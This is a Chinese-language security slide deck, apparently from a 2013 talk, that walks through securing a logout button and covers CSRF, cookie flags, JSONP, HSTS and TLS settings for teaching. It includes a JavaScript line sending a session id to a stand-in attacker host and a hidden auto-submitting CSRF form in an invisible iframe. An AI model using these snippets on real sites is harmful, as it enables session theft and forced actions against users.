Upload
li-daobing
View
440
Download
0
Embed Size (px)
DESCRIPTION
如何实现登出按钮
Citation preview
如何实现登出按钮?LI Daobing 2013-12-06 Shanghai
简单
<a href=“/logout”>登出</a>
加上 session id, 你就没法攻击了吧
<a id=“logout” href=“/logout?s=abc123”>登出</a>
⼩小⼼心⺴⽹网站上的恶意 JS
sid = $(“#logout”).attr(“src”);
$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$(“body”))
为什么放在 Cookie 中的 session id 没有这个问题
因为他设置了 HTTPOnly
但你的⺴⽹网站可能没有设置
好吧我决定改⽤用 POST 了
<form action=“/logout” method=“POST”><input type=“submit” value=“登出”>
</form>
<!— attack1.html —>
<form action=“http://qiniu.com/logout” method=“POST”> </form> <script>$(“form”).submit()</script>
<!— fakepage.html —> <iframe src=“attack1.html” style=“width:0;height:0”> </iframe>
为什么要放到 iframe ⾥里边,直接在 fakepage.html ⾥里边跳转不⾏行么?
那样会让 fakepage.html 跳转到你的登录⻚页,⽤用户会察觉到被攻击了
我们更喜欢悄悄地攻击
我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 除⾮非你主动打开跨域允许
好吧,你说该如何写?
<form action=“/logout” method=“POST”> <input type="hidden" name="csrf_token" value="abc123"> <input type=“submit” value=“登出”> </form>
这样写很烦,有没有简单的⽅方案?
你可以⽤用 jquery_ujs.js
<a href="/logout" data-method="post">登出</a>
我看了⼀一下我的框架,好像没有 CSRF ⽀支持,我该怎么办?
你可以检查 referer, 判定 POST 请求是否来⾃自本站
但部分浏览器⽀支持不好,⽐比如 Opera 9.x
我想到⼀一个问题,如果我⽤用 JS 把你的⺴⽹网站下载过来,取出 csrf_token, 是不是就可以继续⽤用刚才 iframe 的攻击⼿手
法了?
很遗憾,浏览器禁⽌止你⽤用JS访问其他⺴⽹网站,并且分析其结果
你弄错了吧,我⽤用过 Google 站内搜索 JS,我就是从 Google 拿到数据,⾃自⼰己分析,让后呈现的
这个技术叫 JSONP,其实你没有拿到google返回的数据,只是 google 返回的数据是⼀一份 JS, JS 中包含你⽤用来处理数据的函数⽽而已
等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: <script src=“http://google.com/?
q=foobar&jsonp=callback"></script>
⽽而 Google 返回的数据就是 callback({result:"abc"})
也就是说必须 Google ⽀支持我才能⽤用JSONP对吧?
⾖豆瓣的数据很爽,可惜不⽀支持 JSONP, 是不是就不能⽤用了
你可以通过服务器中转
懂了,这样好像还更灵活,那 JSONP 还有什么
意义?
1. 那些需要⽤用户登录后才能拿到的资料⽆无法通过服务端中转实现
2. JSONP 不需要服务端编程。
回到登出这个问题,是不是我⽤用你的⽅方法就完美了?
还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
这个我懂,是不是加上 https ,然后所有 HTTP 请求重定向就可以了?
回到最开始的攻击⼿手法,这个情况下窃听者就可以拿到你的 session id
<img src=“http://www.qiniu.com/logout” />
Damn It, 有什么解决办法?
看⻅见下图右边的 Secure 没有,他表⽰示这个Cookie只能通过https传递
还有什么其他需要注意的?
⼩小⼼心恶意中间⼈人
是不是我弄好证书就可以了?
好的证书是第⼀一步(不要像 12306 学习),你还得⼩小⼼心 SSL Stripping Attack
⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会主动加上 https, 恶意中间⼈人就可以在这个时候代理⽤用户把请求发到服务器, 并且窃听到所有数据。
可以在HTTP返回头中加⼊入如下的⼀一项: Strict-Transport-Security: max-age=31536000; includeSubDomains
还有什么需要注意的,你⼀一次性说了吧
• 要禁⽤用 SSLv1 • TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 启⽤用 TLS 1.1, 1.2, 并且关闭 RC4
• 有 https 的域名不要开放邮箱申请 • session id 要⾜足够⻓长,避免 CRIME 攻击
完了吗?
你还要⼩小⼼心 XSS, </script>, 宽字符, clickjack, frame, content-type, 社会
⼯工程学攻击
我放弃了,我还是继续去做⽕火箭吧⾄至少我还不⽤用去考虑外星⼈人的攻击Falcon, 我来了
42
⾄至少听我总结⼀一下吧
1. 需要正确使⽤用 GET/POST 2. 需要知道如何防范 CSRF 3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确
escape 5. 避免 SQL 注⼊入 6. 采⽤用⼀一些常⻅见的 HTTP 安全头
Q&A?